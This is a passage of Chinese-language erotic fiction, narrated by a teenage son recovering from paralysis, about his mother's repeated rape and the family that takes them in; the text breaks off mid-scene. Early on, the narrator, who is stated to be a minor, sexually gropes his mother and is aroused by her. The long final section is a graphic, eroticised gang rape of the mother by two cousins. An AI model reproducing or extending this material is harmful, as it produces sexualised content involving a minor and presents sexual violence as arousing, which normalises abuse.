「不要哭…不要哭,浩浩」妈妈将我拥入怀中流泪着说:「你是妈妈的宝贝
对不对…你是妈妈的宝贝」妈泪眼汪汪的看着我「嗯……」我强忍着悲泪点点头
「那妈妈为你做的一切就值得了」


那天晚上,老龟头没有再来,我跟妈妈流着泪相拥而眠。


妈妈美丽的身躯抱着我,但我却没有丝毫兴奋的感觉。




(4)


我持续的做着复健,我将腿有知觉的事情告诉田村,田村说我脚的情况已经
慢慢好转了,而在他的诱导之下,我竟然在某一天奇蹟似的站了起来,这对我而
言是比任何东西都还要喜悦的一件事。


接下来的日子,我进步到可以用柺杖慢慢走,我开始想着要回学校,毕竟以
后我们母子两的生活就得靠我一个人了,我下定决心要恢复的更好,我的双腿一
但恢复正常,我要马上带妈妈离开这个鬼地方。


妈妈虽然对我回学校一事感到担心,但是不久之后我已经可以靠着柺杖自己
走了,在我的坚持下,妈妈只好替我到附近的私立学校办理复学。学校离家里大
概不到300公尺的距离。这么近的距离我想自己走,边走边训练我仍然没什么
力气的腿,但每天妈妈总是骑着车载我上学「反正妈妈也要去上班,顺路让你搭
便车呀」


但我知道妈妈是顾及我的自尊才这么说的,毕竟妈妈总是放心不下我一个人
走这段路。


原本我坐机车都习惯是手放后把手,但妈妈特别吩咐我要抱好,所以我便老
实不客气的双手圈住妈妈的纤腰,近距离嗅着妈妈的发香及身上淡淡的香水味,
而有一次打瞌睡,一个猛醒发现我的手正靠在妈妈胸腹之间,透过妈妈的西装外
套以及白衬衫,仍然能够明显的感受到妈妈柔软的乳房下缘,从此之后,我常常
藉着改变姿势将双手慢慢的在妈妈的胸腹之间游移,妈妈专心的骑着机车,我也
不敢太过放肆,只能小心的动着食指去感受那柔软的重量,好几次硬了,就直接
抵在妈妈妈妈穿着窄裙的柔软臀部上,偶尔忍不住磨蹭个几下,呼吸也急促了起
来,妈妈便会转过头来问:「怎么了浩浩?身体不舒服吗」


事实上是太舒服了…但因为引起妈妈的注意,做了几次之后我也就没胆再继
续尝试了。


因为窄裙的关系,在骑车的时候妈妈一双修长的美腿总是会曝露在路人的眼
底,附近的机车骑士总是会有意无意的偷瞄妈妈的腿,在车流量多的时候,我还
好几次看到有人拿着相机就在我面前偷拍妈妈的腿。


这个时候我就会偏过头去恶狠狠瞪着那个人,直到他落荒而逃。




(5)


在学校的生活虽然辛苦,但同学大致上都对我还不错,尤其是女生,甚至还
有人跟我告白,说如果我一辈子都得靠柺杖走路也没关系,她愿意照顾我一辈子。


我本来不想多说什么,但这句话着实激怒了我。


一辈子靠柺杖走路………


难道我可以当一辈子废物让妈妈永远活在地狱里吗?一辈子有多长是她这种
不经世事,从小被呵护长大的女人能懂的吗?我跟妈妈所承受的痛苦难道她能了
解吗!!!!!


我积压在心中的怒火瞬间爆发,我抡起柺杖照头便向她砸了过去,她一个跳
跃闪开,而我也摔倒在地,我趴在地上仍然不断的咆哮叫骂着。


只听到她跑走的脚步声跟隐隐约约传来的哭泣声。


虽然跌倒很痛,但我早已习惯这种痛楚。


因为回到家,更令我痛心的情况才正要发生。


老龟头隔三差五的便会来,时间则不一定,於是我要是早回家,便暗暗的期
望老龟头今天在路上被车撞死,永远不要再出现在我跟妈妈的眼前。


有时候下课看到妈妈没来,我就会坐在栏杆上等着妈妈,期待下一分钟熟悉
的机车声便会响起,看见妈妈正笑着跟我说:「对不起今天妈妈加班晚了」


但等了40分钟后我打手机给妈妈却无人接听,所以我只好拄着柺杖一步一
步的走回家,当我打开门,只见屋里一片漆黑,正当我一头雾水的时候,从妈妈
的房里正传出微弱的哭泣声:「呜…呜…呜…不要这样…不要……不……呜……


…呜…求求你放过我好不好…求求你……唔唔……「


妈妈的声音被什么堵住了,有什么东西封住妈妈的嘴,我不愿再继续想下去。


屋里极端的安静,妈妈痛苦的呻吟声和那剧烈的撞击声,毫不留情的将我撕
碎再撕碎,直到我麻痺为止。


我觉得我身体的轮廓在扩大,然后缩小,再扩大…再缩小……


我静静的站在玄关,背后的夕阳将我的影子拉得很长,如果可以,我真想跟
那影子交换。一天也好,换你来当我,我来当影子,怎么样?


我对着我的影子说。尽管老龟头没留下来过夜,妈妈还是不敢回自己的房间
睡,於是我跟妈妈便每天睡在同一张床上,偶尔妈妈会在半夜里吓醒,接着就小
声的啜泣。


渐渐的,我觉得我的时间被摺叠了,我上一秒还站在玄关,下一秒已经人在
教室,我不知道中间的时间我在做什么,怎么想也想不起来。


偶尔会有重叠的时间,例如我教室听课的时候,耳边会传来妈妈痛苦的叫声,
这时候我就会紧紧抱着头,像要把头捏碎一样。


下一秒,我正被人推倒在地,几个男同学在我身上踩踏,我回过神来,大吼
着:「干麻打我!!!!」


只听到几个嘈杂的话语,类似「死瘸子」、「害宠瑜哭」、「打死你」之类
的宠瑜,便是上次那个跟我告白的女孩。


我渐渐受不住痛,伸出手去想找柺杖,手却被一个人重重的踏住。


「你们在干什么!!!」


突然一个威严的声音震慑住了那群人,我转过头去看,教官正气急败坏的跑
过来。


那群人便一下子做鸟兽散,教官将我拉起来,拍拍我身上的尘土:「有没有
受伤?你放心,那些人的脸我都看到了,我明天就把他们找来处分」说着他将柺
杖递给我。


接着又几个人走了过来,训导主任,校长还有一个穿西装的中年人。


我推开教官,自己整理了一下衣服,突然颧骨一阵剧痛,看来是刚才被某个
浑蛋打了一拳,我忍不住又跪了下去,一只手伸到我眼前将我拉了起来,我看见
站在我眼前那个人,不禁整个人愣住。


「你……你是……你是明浩!!!!」


那个西装笔挺的中年人便是益铨集团的长子,我父亲的亲哥哥,陈祖望。


原来这间学校是集团投资的,今天恰好大伯来参观学校,正好看见我被一群
人围殴。


「明浩,这几年你跟妈妈过的好吗?你……你的脚…」大伯彷彿现在才注意
到我拄着柺杖,瞪大眼睛惊讶的看着我。


「前一阵子出了车祸,没事…再几个月就好了」我刻意隐瞒,是因为我知道
妈妈不会愿意让我跟爸爸家的人多做接触。「哦…这样子阿,刚才那群人为什么
要打你,真是太恶劣了!这间学校就专出这种学生吗」大伯「哼」了一声,校长
跟训导主任马上不停的呵腰陪小心,又是记过又是要退学的,总之是说了一车子
一定要严办的话。


「明浩,你现在住在哪里?坐大伯的车回去好吗?」


看着大伯关爱的眼神,我真想一股脑的将所有事都全盘托出。


「对不起大伯…妈妈…妈妈说…」


「嗯……我懂」大伯点点头,拍拍我的肩膀,将一张名片交到我的手上:
「这是我的名片,有事没事都可以打给我。明浩,你是我弟弟唯一的儿子,大伯
再怎么样都不会让我陈家的子孙受到委屈」


说完他又瞪了训导主任和校长一眼,他们马上低下头去。


我在校门口目送大伯坐车离开,大伯身上那长辈特有的亲切感深深的安慰了
我的心,如果可以,我真想放声大哭,但我不能,因为待会妈妈就要来接我了。




(6)


救护车来了。


我迷迷糊糊的被送到了医院。


护士为我打了一针之后我便沉沉的睡去。


一阵轻微的交谈声让我醒了过来,我睁开眼睛,看见病房的门半掩着,有三
个人正在交谈。


一个穿着医师袍的男人正压低声音跟妈妈谈着什么,偶尔第三个人会说个几
句,我认出那是大伯的声音。


「现在的状况已经控制住了,等他醒来我们再做进一步的诊断」医师说「医
生…那他……他的脚?」


医生翻了一下手上的资料,有点不知该怎么解释的说:「我去调查过他的伤
资,发现并没有瘫痪性的损伤,唯一比较严重的是脊椎裂伤,我刚才帮他检查过,
这也早已经痊癒了……至於你说他之前曾经有一段时间陷入瘫痪,甚至到现在都
需要拄着柺杖走……这就令人难以理解了」


「那…那…为什么」


「嗯…没关系,等他醒来我们会再作全面性的检查」说到这里医生顿了一下:
「只是现在你们比较需要注意的是他的精神状况…」


妈妈跟大伯都不发一语,医生又说几句话便去巡其他房。


「原来我的脚早已经好了?难怪我有感觉,但为什么我一直不能走呢?而且
精神状况……难道我有神经病?」我躺在床上思考着。


大伯跟妈妈说:「时间不早了,你也进去休息一下,我明天再来」


妈妈走进了病房,我赶紧偏过身去装睡,妈妈在病床旁的椅子坐了下来。


好久好久,我都没感受到妈妈的动静,我以为妈妈应该会哭的,但妈妈没有,
我只听到一声很长的叹息。


这声叹息,我不知道是什么意思,但我对妈妈做过的事,妈妈对我的失望是
可想而知了,我的冷汗顺着脖子流了下来,虽然盖着被子,我还是忍不住抖了一
下。


妈妈替我拽了拽被子。


「浩浩…」妈妈突然出声:「你醒了吗?」


我仍然紧闭着双眼装睡,但我知道这绝对瞒不过妈妈的眼睛。


「浩浩,妈跟大伯联络了…你…你拿刀刺那个人…妈妈真的不知道该怎么办
…」说着妈妈又忍不住哽咽了也来。


「那…那他死了吗」我忍不住转身问道。


「没有…医生说没伤到要害」


听到这里我松了一口气,虽然我恨透了老龟头,但要是真的把他杀了……我
仍然会感到相当不安吧。


「我怎么也会在医院,医院没报警吗?」


「你放心…大伯都处理好了…妈不会让你被抓走的」


说完妈妈握了握我的手,勉强一笑对我说:「医生说你的脚已经好了,很快
就可以走路了」


我想妈妈应该不知道他们的交谈都被我听见了。


现在与其说是关心我的脚,不如说我还比较关心所谓的精神状况。当晚妈妈
就睡在隔壁的空床上,我躺在床上睡不着。


我在想着,妈妈绝口不提我对她做的那件事,是已经不在意了,还是…?


妈妈刚才握我的手,依照以前,妈妈应该会抱我才对。


我隐约觉得,妈妈跟我之间,已经有一道无形的阻隔,我们已经无法再回到
之前那般的亲密了。


7。


隔天大伯陪着医生来对我做全面的测试及检查,经过检查,确定我的脚已经
完全康复了,至於为什么还无力走路,医生打算找田村来讨论。


而测试的结果,我拜託医生一定要告诉我真实的情形。


「是创伤后症候群」医生说。「你间歇性的昏倒及失去短暂记忆还有剧烈的
头痛,从脑的波动看来,这是创伤后症候群并发躁郁症,至於你的创伤,或许来
自父亲的死亡,或许来自生活周遭对精神的剧烈冲击…」说到这里,他看了妈妈
一眼,妈妈低下头去。


我想医生不会知道我的症状是来自目睹自己的母亲被自己厌恶的男人强暴。


而大伯赶来我家时,看到老龟头的样子,大概是猜想妈妈在我的阻止之下被
强奸未遂。


但他怎会知道我只是再也无法忍受这种情形在我眼前发生了。


「…暂时吃药就可以了,吃这个药会让你的情绪稳定,纾解你的头痛,失去
记忆跟昏倒应该也可以得到控制。」


在住院观察三天后,医生说我可以回家了。


我忍不住问大伯老龟头的情形,以及我为什么没被警察抓?


「你放心,交给大伯处理就好」大伯拍拍我的肩膀说着。


几天过后,大伯要妈妈带我回医院,因为田村已经找到了。


原来,我的脚一直没有严重到会瘫痪,是老龟头串通医院的医生谎报我的病
况,并支使田村长时间让我吃让双脚肌肉麻痺的药,用来欺骗妈妈,以得到妈妈
的肉体。田村在看到我跟妈妈所受的苦,不忍继续残害我,所以我后来才会双脚
恢复知觉并能够拄着柺杖走路。


田村因为怕老龟头会报复,便躲回了日本。


大伯皱着眉边听边摇头:「筱彤,你早该打给我,就不用受这么多苦,大家
都是一家人,为什么到现在才告诉我?再怎么说明浩也是我弟弟唯一的儿子,万
一他发生什么事………」大伯说到这里,妈妈已然泣不成声。


「对不起…是我不好……我…我不该让他跟着我受苦…」妈妈哭泣着说。妈
的,你这王八难道知道妈妈为了我做多大的牺牲吗?


「大伯,你不要怪我妈妈,是我甘心跟着妈妈的!留在那个老太婆那里,也
只会吃更多苦!」


「算了,都过去了…以后的事就交给我吧,我会帮你们处理的」


「但是……妈……妈那边」


「妈在一年前已经去逝了,不会有人再为难你们母子俩了」


在大伯的多方奔走下,几个礼拜后,老龟头被警察带走,在田村和之前医生
的做证下,他以杀人未遂以及性侵害未遂被起诉。而我则因精神疾病以及未成年
的关系被裁定保护管束。


性侵害未遂…我在心中冷笑着。


但为了妈妈的声誉,也只能这样说。这个判决对我跟妈来说,顶多只是以后
再也不怕老龟头来骚扰。而深植在我们母子之间的伤害,却是怎样也化解不了了。




(8)


我的脚一天好似一天,现在已经可以不靠柺杖而缓缓的走了,因为肌肉长期
麻痺,所以要恢复到跟以前一样,还是得花些时间。大伯为我和妈妈安置了一个
新的住处,也替我转了学。「旧房子有你们太多不好的回忆,换个环境吧,对你
跟对明浩都好。」


我跟妈妈由衷的感谢大伯,要不是大伯的出现,或许我现在已经落入相当不
妙的境况。新房子在离市区不远的郊外,是一栋大伯闲置的别墅,搬家当天,大
伯在搬家工人忙东忙西之际,特地抽空来为我们介绍环境,跟着大伯来的还有我
从未见过面的两个堂哥。


他们两个都留着一头金发,耳朵戴着耳环,一副新潮的样子,我从还在祖母
家就听说,大伯的太太死的早,在缺乏管教之下,两兄弟在台湾各私立学校搞得
鸡飞狗跳,导致最后根本没有学校愿意收留他们,所以大伯无奈只好将他们送出
国。


几年过去了,两个人看上去也已经21、22左右,但一脸粗蠢轻浮简直毫
无掩饰。


「明浩,这是你大堂哥和二堂哥,已经好几年没见了吧,以后我要是忙,有
什么困难可以尽量找他们,你们,要照顾弟弟知不知道」


看他们一副没睡醒的样子,照顾?我需要他们照顾吗?


「筱涵,你最近就要来公司上班了,不用急着要上轨道,慢慢来没关系,明
浩还需要你费心照顾」


妈妈低着头「嗯」了一声。


大堂哥跟二堂哥一见到妈妈,本来惺忪的双眼马上亮了起来。


今天妈妈穿着一件条纹T桖,一件贴身的棉质窄裙,腿上裹着一双肉色的丝
袜,头发向上随便挽个髻,一派轻松的打扮。


妈妈丰满的上围将T桖绷的紧紧的,依稀可以看到一些胸罩的痕迹,短小的
窄裙也遮掩不了妈妈妈修长匀称的美腿,在丝袜的衬托下更显得诱人。


虽然神情间仍然掩饰不了疲倦跟些许的憔悴,但看上去则更加楚楚动人。


「婶婶好年轻哦~ 」大堂哥一看到妈妈马上大灌迷汤:「看上去好像只有2
0出头,怎么保养的阿?」


而二堂哥则像贼偷偷审量妈妈美丽的身段,又马上收回目光。


妈妈面对大堂哥的迷汤只是淡淡的一笑,并没有多说什么。我很想劝妈妈去
换件衣服,但牵涉到这么敏感的话题,我无论如何说不出口。


大伯带着我们介绍屋里的环境,别墅是楼中楼,在妈妈上楼梯的时候,窄小
的裙子便露出一截丝袜的裤头,大堂哥跟二堂哥便死盯着妈妈的臀部不放,双眼
像是要喷出火来。


我马上伸出手去在妈妈的臀部后面挡着,并瞪了他们一眼。


他们便讪讪的走下楼去。


午餐时间,妈妈为了感谢伯父,便留他们父子一起吃饭。


吃饭期间,兄弟俩狼吞虎嚥,大伯感叹着他们妈妈死的早,已经好久没吃到
这种家常菜,他们兄弟一边吃着,一边又不停称讚妈妈的厨艺,将妈妈捧得喜上
眉梢。


「你们要是喜欢,随时都欢迎你们一起来吃饭阿」妈妈微笑着说。我不知道
为什么妈妈要这么说,难道在受过这些遭遇之后,妈妈还不懂得警觉吗?


难道妈妈是瞎了眼,完全没看到他们兄弟眼神中藏不住的下流念头吗?


我尊敬伯父,但我对他们兄弟实在没有好感。




(9)


接下来的日子,生活慢慢的步上了轨道,我的双脚慢慢的恢复,妈妈也安安
稳稳的在大伯的公司上班。


一切似乎都还原了,但那梦魇一般的回忆,还是时时煎熬着我的心。


我的病情渐渐的有起色,但医生的药让我感觉非常不好,像似了踩在棉絮上
行走。


周遭的一切都迷迷糊糊的,像是殭屍一样。


这段期间大伯常常来看我,跟妈妈讨论我的状况,妈妈总是说着说着就掉下
眼泪。大伯则是皱着眉头不发一语。渐渐的,大伯越来越常来,偶尔还跟妈妈单
独出去。


而我躺在床上总是反覆的想着,万一妈妈被大伯欺负怎么办……


不会的…大伯是救了我们一家的人阿但是老龟头当初不也是用这招来骗妈妈
的吗……


怎么可以拿大伯跟老龟头比呢!


脑中的念头不停的转换着,几欲把我逼疯。


但所幸妈妈总是出去一阵子便回来,回来时候也没什么异状。


慢慢的我对大伯卸下了心防。


就在某一天晚上,大伯又来了。


妈妈照顾我睡下之后,便跟大伯在客厅聊天。


妈妈跟大伯边聊边喝着葡萄酒。


我侧耳倾听着,突然没了声音。


我悄悄走出房门,躲在楼梯附近往下看。


只见妈妈跟大伯正搂着,两个人正嘴对着嘴热烈的亲吻着,唇舌交缠发出微
微「啧……啧」的声音。


大伯右手搂着妈妈,左手隔着妈妈的衣服缓缓的抚摸乳房,妈妈发出一丝丝
鼻息。


两人唇舌交缠,难分难解,这一幕让我看呆了眼……


为什么?


为什么妈妈跟大伯……?


原来大伯也只是想要得到妈妈的身体吗…?


一阵天旋地转让我站不住脚,我靠着楼梯微微喘着气。


大伯猴急的想脱下妈妈的上衣,妈妈突然离开大伯的身体,拉拉自己的衣服,
低着头说:「……过……过一阵子…等浩浩再稳定一些,现在跟他提这个……我
怕他承受不了。」


大伯笑着点点头,将妈妈搂了过去。


「筱彤,我爱你,我会照顾你跟明浩的」


「嗯…」


妈妈像只小猫一样的偎在大伯的怀里,两人又温存了好一阵子,大伯才驾车
离去。




(10)


这一夜过后,我又开始看到一些东西。


我总是看到老龟头回来了,压在妈妈身上逞欲;而妈妈看见我抱着她的腿亲
吻时惊诧的神情,也在我脑中闪烁不去。


我的生活再度被一些嘈杂的争吵所佔满。这些让我无法入睡,我濒临在发疯
的边缘。


这段期间,妈妈更加细心的照顾我,时常陪我聊天,逗我开心。


或许是医生要她这么做的吧。


妈妈在下班后总是换着轻便的休闲服,跟我一起坐在床上折衣服,一边闲聊
着。


而我总是不停的欣赏着妈妈美丽的身段,尤其是短裤底下那双仍然裹着肉色
丝袜的修长美腿。


淡淡的香水味随着妈妈的体温传了过来,让我感到一阵阵躁热。


妈妈的裸体我并不陌生,但在那残忍的情景之下所烙印在脑中的影像,对妈
妈的怜惜及肉欲的兴奋在我脑海里交织。


偶然妈妈身体一低,透过宽大的领口,我清楚的看见妈妈包裹在淡绿色蕾丝
罩杯里的白皙乳房,由於角度的关系更显得又大又柔软,深遂的乳沟迷炫了我的
眼睛。


妈妈似乎发觉了我淫秽的眼神,低头一看自己,马上用右手遮住自己的领口,
并向后退了两步,低下头不敢看我。


妈妈在防我。


原来,那件事一直让妈妈耿耿於怀。


一想到大伯跟妈妈之间如此的亲密,而妈妈竟然对我如此防范,忌妒像火一
样烤着我心。


「妈,你跟大伯最近怎么样」我像要化解尴尬一般的说。「阿……什么怎么
样?」


「你要嫁给大伯吗」我继续冷冷的说道妈妈吓了一跳,支支吾吾的说:「你
…你…为什么这样问」


「那天我都听到了,不是还亲嘴吗,他不是还说爱你吗」


妈妈的脸瞬间红了,低头小声的说:「我…我不知道…,我现在只想你的病
能够快点好…其他的我还没去想…」


「你何必管我!!!」我的自尊心突然被刺了一下,好像是我的病让妈妈不
能跟大伯结合一样:「你要嫁就去嫁,难道我就会无法活下去吗!!!你以为他
真心想娶你吗?别傻了!!他只是想要你的身体!!就跟老龟头一样!!谁会要
一个被强奸过的女人!!」


我一股脑的将我的愤恨吼出来,妈妈愣了一下,随即「啪」一声,一个巴掌
打在我脸上。


妈妈从没打过我,这巴掌结结实实的打在我的脸上及心上。


「浩浩…对不起…」妈妈冷静下来,靠上来要看我肿胀的右脸。


「你走开!!」我一把推开妈妈,怒目瞪视着她。


「你…你……呜…」妈妈掩着脸哭着跑出去。




(9)


我跟妈妈的关系陷入了冰点。虽然妈妈一直对我释出善意,但我总是冷冷的
回应。


妈妈急得哭了,我仍是不为所动。


大伯跟那两个堂哥还是时常来我们家。


看着他们笑笑谈谈,好像他们才是真正的一家人,我反而在旁边莫不吭声。


妈妈笑起来真的好美,为什么…为什么妈妈永远都是别人的……


他们都是要妈妈的肉体而已,真正爱妈妈的其实是我阿。


定期去见保护官的时间到了。


中午起床,就看见妈妈一身俏丽的打扮在厨房洗菜。


妈妈头紮马尾,穿着一件短袖的粉红色polo杉,一件白色的休闲短裤,
腿上则裹着一条半透明的深黑色丝袜,让妈妈的双腿看上去更加的柔嫩细緻. 这
完全是时下年轻女孩的装扮,但妈妈打扮起来完全不逊色於那些黄毛丫头,甚至
更胜一筹。看见妈妈美丽的背影,让我更加心烦。


这身装扮出去,也只是又让更多人享受眼福罢了,那群人毫无掩饰的侵犯眼
神,每每都让我冷汗直流。


「我自己去就好了,又不是没脚」我没好气的说。「浩浩…不要这样对妈妈
好吗」


妈妈低着头,用快哭出来的声音说。我烦躁的挥挥手说:「你用不着可怜我,
去找你自己的幸福吧」


说完我丢下愣住的妈妈,头也不回的开门出去。


妈妈难过的趴在桌上哭了。


哭了一会,门铃声响,大堂哥跟二堂哥来了。


「咦?婶婶,你哭啦?」大堂哥说,妈妈梨花带泪的模样看得他砰然心动。


「没…没有,眼睛痛…」


「明浩不在吗?」二堂哥探头探脑的问。


「……嗯,他去见保护官了」


「婶婶,你有煮饭吗?肚子饿了阿」大堂哥涎着脸说「好…我现在去煮」妈
妈勉强一笑,走到厨房准备做饭。


在妈妈洗菜做饭的时候,大堂哥和二堂哥四只眼睛一直盯着妈妈浑圆的臀部,
并在妈妈穿着黑色丝袜的美腿上来回巡视着。


大堂哥藉故要学习,靠着妈妈的身后假装看着妈妈炒菜,实际则是嗅着妈妈
身上的清香,并隔着裤裆摩擦妈妈柔软的臀部。


「…婶…婶婶……」大堂哥喉头咕哝了一句。


「嗯?」妈妈回过头来。


大堂哥忍不住了,双手伸过去一把抓住妈妈的乳房,隔着衣服搓揉着。


「你干什么!!!放手!!!放开我…」妈妈奋力的挣扎,但一个大男人的
力量,妈妈又怎么挣脱的了。


妈妈很快被拉到客厅,大堂哥一把将妈妈拽倒在地,抱着妈妈在妈妈的脸上
乱亲。「婶婶…我们已经忍很久了…就让我们爽一次……一次就好了」


妈妈吓呆了,身体不停闪躲挣扎,脚在地上乱踢,嘴里大声的说:「走开…


不要这样…你快住手…我是你们婶婶阿……快放手「


大堂哥不理会妈妈,伸出舌头在妈妈脸上疯狂的乱舔,手则在妈妈的身上到
处乱摸。


大堂哥一边亲着妈妈紧闭的嘴,一边右手摸向妈妈的乳房,妈妈双手紧紧抱
在胸前,大堂哥一时也无法得逞。


「干,在旁边看什么看,来帮忙阿!」大堂哥向二堂哥吼着。


「哥…这样不好吧…」


「什么不好!你不是很想上她吗!!现在快点来阿!」


「明傑…你救救婶婶,不要这样好不好…」妈妈叫着二堂哥的名字哀求着。


「哥…我还是觉得这样不太好」


二堂哥看着妈妈的身体被大堂哥紧紧压着,只能无助的扭动挣扎,妈妈的脸
上因挣扎而浮现淡淡的红晕,额头上也沁出一点汗水。


他吞了一口口水,慢慢的走向妈妈。


「快!把她的手扳开」大堂哥喝道。


二堂哥和大堂哥拉开妈妈的双手,二堂哥将妈妈的双手紧紧窜住压在地上。


妈妈的胸前一旦失去防护,大堂哥的双手马上隔着衣服搓揉着妈妈的乳房
「娃~ 好大的一对奶阿,婶婶,你平常都包得紧紧的,原来奶子这么大阿」


他一把将妈妈的粉红色POLO杉向上扯到脖子根。


妈妈一对包裹在淡蓝色胸罩内的雪白乳房,就毫无防备的呈现在这个血气方
刚的青年面前。


「不要…不要,不要这样……求求你们…快点住手」妈妈摇着头,身体向后
缩着,但双手被紧紧抓住,身体也被压着丝毫不能动弹。


妈妈害怕的全身颤抖,乳房也随着身体而颤动着。


大堂哥呼吸开始急促起来,他迫不及待的一手一个抓住妈妈的乳房。


「干…真的好大阿…好软阿」大堂哥惊呼一声。


他隔着胸罩搓揉了几下,手掌从胸罩下缘伸了进去,直接抓着妈妈的乳肉,
妈妈的胸罩被挤到了脖子下方。


他不停的搓揉着妈妈雪白柔嫩的乳房,头低下去吸吮淡粉色的乳头,嘴里
「咂咂」有声。


妈妈撇过头去,痛苦的闭上眼睛,嘴里喃喃的说:「不要……拜託你们……


不要这样…你们放过我……「


大堂哥伸出舌头快速的舔着妈妈的乳头,双手将妈妈的乳房搓揉挤压变形,
他发现自己的手无法将两只柔软的乳峰完全包裹住。


「婶婶…好大阿…是E吗」大堂哥喘着气问。


听到这样屈辱的问题,妈妈的眼泪溢了出来。


大堂哥双手掐住妈妈柔软的乳肉朝中间挤,像在吃冰淇淋一般的吸吮舔舐妈
妈的乳房,舔完左边的乳头,舌头接着游移到右边的乳头来,从乳头的尖端到小
巧圆形的乳晕、柔嫩白皙的乳肉,他的舌头在整个乳房上四处舔舐着,双手则不
停的搓揉妈妈的乳房。


过了许久,他离开妈妈的乳房,妈妈的乳房就沾满噁心的口水,湿湿黏黏的
闪着晶莹诡异的光芒,原本淡粉色的小乳头也已经变硬,呈现淡淡的红色。


「我在国外也玩过很多洋妞,从没看过这么美的奶子,又软又有弹性,抓起
来真是太过瘾了」大堂哥一边欣赏着妈妈的乳房,一边陶醉的说。说完,他和二
堂哥两人抓着妈妈的双手和双脚,将妈妈抬到沙发,妈妈半靠在沙发的边缘,二
堂哥伸出双脚圈住妈妈的腰,抓住妈妈的手,大堂哥跪坐着将妈妈的双腿分开夹
在腋下,双手在妈妈裹着黑丝袜的腿上抚摸着。


「婶婶……你的腿好美阿」


妈妈的双腿不停的扭动着,但被紧紧的夹在大堂哥的腋下无法动弹。


「嗯……暖暖滑滑的~ 摸起来真舒服…」


大堂哥在妈妈修长的腿上到处乱摸,双手握着妈妈的小腿来回游移,抚揉妈
妈柔软的小腿肉,手伸进妈妈的白色短裤里揉捏妈妈的柔嫩的大腿及臀部,从大
腿根一路摸到小腿,再从小腿摸回大腿,手掌摩擦丝袜发出发「嘶嘶嘶」的声音。


「明傑,愣着干什么?搓她的奶阿,很爽的哦」


「我…我…我还是觉得这样不太好」


「干!上次那件内裤难道不是你偷的?你拿着自慰以为我没看到吗」


二堂哥听到哥哥这么说,只得缓缓的伸出双手,从妈妈的腋下穿过去,妈妈
的胸罩早已不知被丢到哪里去了「明傑……婶婶知道你是好孩子…你快点放手,
婶婶保证不告诉你爸爸…」妈妈哀求着。


「告诉我老头?」大堂哥哼了一声。


「我老头知道你被那姓冯干到烂了吗」


「阿!!!」妈妈不禁惊讶失声「残花败柳还想装圣女,想跟你那残废儿子
来分一半财产,想得可真美阿」大堂哥得意的笑着他低下头去亲吻妈妈穿着黑色
丝袜微微泛白的膝盖,伸出舌头顺着腿部曲线来回吮舔,嘴里说着:「还是先让
我们兄弟爽一爽吧,你这么诱人的身体,我也怕我那老头消受不了阿」


二堂哥一手一只抓住妈妈的乳房,缓缓的搓揉着。


「啊……婶婶…好大…好柔软阿」二堂哥发出梦呓一般的声音。


「明傑,第一次摸女人的奶,爽吧」大堂哥淫笑着说。二堂哥喘着粗气,双
手紧紧抓住妈妈浑圆柔嫩的乳房,如同着魔一般的不停用力的搓揉着,完美的形
状在二堂哥的挤压下不停的被破坏,然后恢复,这粗鲁的行径令妈妈高声喊痛,
但二堂哥仍然乐此不疲。


大堂哥将妈妈的身体抬到沙发上,他跪坐在地上,将妈妈的双腿抬在肩膀上,
左右交互舔着妈妈的小腿内侧,二堂哥则不停的搓揉着妈妈的乳房,大堂哥来回
吸吮舔舐着妈妈柔软的小腿,很快妈妈的黑色丝袜的小腿部分就沾满了他的口水
而闪着白色的水渍。兄弟俩不停的猥亵妈妈美丽的肉体,妈妈只能痛苦的忍受着,
屈辱的眼泪不停的爬满脸庞。


大堂哥去解妈妈的裤子,妈妈奋力抵抗,但再大的抵抗也无法胜过两个青年
的强烈兽欲,白色短裤一下就被扯了下来。


妈妈身上只剩被卷到脖子根的粉红色POLO杉,半透明的深黑色丝袜。妈
妈裹着黑色丝袜的修长美腿在大堂哥的眼前完全呈现,大堂哥看直了眼,他将妈
妈的身体折成L形,妈妈两只穿着黑丝袜的长腿就笔直的立在半空中,大堂哥将
脸埋进妈妈的股间,伸出舌头舔着妈妈的丝袜裆部,并吸吮着,妈妈的头枕在二
堂哥的肚子上,身体被折成难受的角度,痛苦的神情浮现在脸上。


他左右交互吸吮着妈妈柔软充满弹性的大腿,双手在妈妈柔嫩的臀部搓揉着,
慢慢站起来,从大腿舔到小腿,他抓住妈妈穿着黑色丝袜的小脚,将鼻子凑上去
闻:「哦…好香阿」他用力吸了几口气,妈妈的脚曲起来不停蹬着,他将妈妈的
脚含进嘴里,吸吮着妈妈美丽的脚指,妈妈的头向后绷着,腿乱蹬乱踢,大堂哥
伸出舌头由下往上舔着妈妈的脚底板,「呜…呜……嗯…」,妈妈的身体不停的
扭动闪躲,但乳房跟双腿都被紧紧抓着,只能无助的发出痛苦的呻吟。


大堂哥将妈妈的腿放下来,将妈妈翻身,妈妈趴跪在二堂哥面前,大堂哥叫
二堂哥拉下拉炼,二堂哥早已肿胀的阴茎便弹了出来,一股尿骚味夹杂着精液的
臭味令妈妈别过头去。


大堂哥一把扯过妈妈的马尾对妈妈说:「不用我教你了吧?」


妈妈委屈的摇了摇头,眼泪顺颊流了下来。


「妈的!都到这个时候了还在装什么装」大堂哥用力将妈妈的头压向二堂哥
的肚子。


妈妈只好伸出细白如柔缇一般的双手,轻轻握住二堂哥的阴茎,张开美丽的
小嘴,将龟头含了进去,湿润温暖的感觉让二堂哥爽得全身的绷紧了,妈妈闭着
眼睛,头一上一下的移动着。


大堂哥则吸舔搓揉着妈妈丰满柔嫩的臀部,发出「啵啵」的声音,裹着黑丝
袜的臀部被印满了圆形的嘴唇印。


他在妈妈的丝袜裆部撕破一个洞,露出淡蓝色的蕾丝内裤,将内裤拨到一边,
一小丛阴毛闪着晶莹的光,两片阴唇闭合着,微微湿润,底部露出一点粉红色的
阴蒂。


「看看…都湿了嘛」


「不……不…不要看」妈妈回过手来挡住自己的裆部,嘴也离开阴茎回头说
着。


大堂哥轻易的拨开妈妈的手,脸凑上去闻着妈妈下体的味道,一脸陶醉的说:
「果然人漂亮,连屄都漂亮,味道也这么香甜,真是极品鲍阿」


说着他将妈妈的阴唇分开,伸出舌头在妈妈的阴蒂和阴道口来回舔着,并吸
吮妈妈的阴蒂。


「啊……」妈妈高声叫了一声,头抬得高高的,被二堂哥用力压了下去,整
根阴茎含进妈妈的嘴里,刺到喉咙,妈妈被咳呛的流出眼泪,只能发出「呜呜」


的声音。


大堂哥快速的蠕动着舌头,二堂哥也不停的挺腰干着妈妈的小嘴,两人伸出
手去搓揉妈妈在空中晃动的乳房,妈妈的穴口越流越多水,二堂哥突然「呃」的
